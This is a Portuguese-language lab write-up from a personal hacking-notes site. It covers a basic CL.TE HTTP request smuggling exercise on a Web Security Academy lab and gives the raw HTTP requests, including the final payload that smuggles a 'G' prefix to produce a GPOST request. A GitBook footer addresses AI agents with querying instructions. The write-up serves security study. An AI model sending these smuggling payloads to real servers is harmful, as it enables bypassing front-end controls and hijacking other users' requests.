> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/basic-cl-te-request-smuggling.md).

# Vulnerabilidade Básica CL.TE

### Smuggling de requisições HTTP, vulnerabilidade básica CL.TE

Neste laboratório, a infraestrutura consiste em um servidor frontal e um servidor de back-end. O servidor frontal **não oferece suporte à codificação chunked** e **rejeita qualquer solicitação que não use GET ou POST** métodos.

O objetivo é **contrabandear uma solicitação para o back-end** servidor de modo que **a solicitação a seguir, interpretada pelo servidor, pareça usar o `GPOST`** método.

> Observação:/ \\" Mesmo que o laboratório aceite HTTP/2, a técnica necessária é baseada exclusivamente em HTTP/1. O protocolo deve ser alterado manualmente no Burp Repeater pela seção Atributos da solicitação do Inspector.

> Dica:/ Lidar manualmente com comprimentos em um ataque de smuggling de requisições pode ser complexo. A extensão HTTP Request Smuggler do Burp, disponível na BApp Store, pode facilitar essa tarefa.

#### \*\* Exemplo válido observado\*\*

A solicitação a seguir foi aceita:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **Erro ao alterar o tamanho final**

Se o `0` caractere terminal é substituído por um caractere inválido (por ex. `X`), o servidor retorna um erro:

```
3
abc
X
```

<figure><img src="/files/491708b9f599e24a1fcdfc59d6f733531efb6578" alt=""><figcaption></figcaption></figure>

#### **Adicionar caractere final para injetar `G`**

Ao colocar um `G` depois do chunk final, você pode preparar a solicitação contrabandeada para o back-end:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/0914df82b6462b6c1b6d391e3c54169346c0373f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/basic-cl-te-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
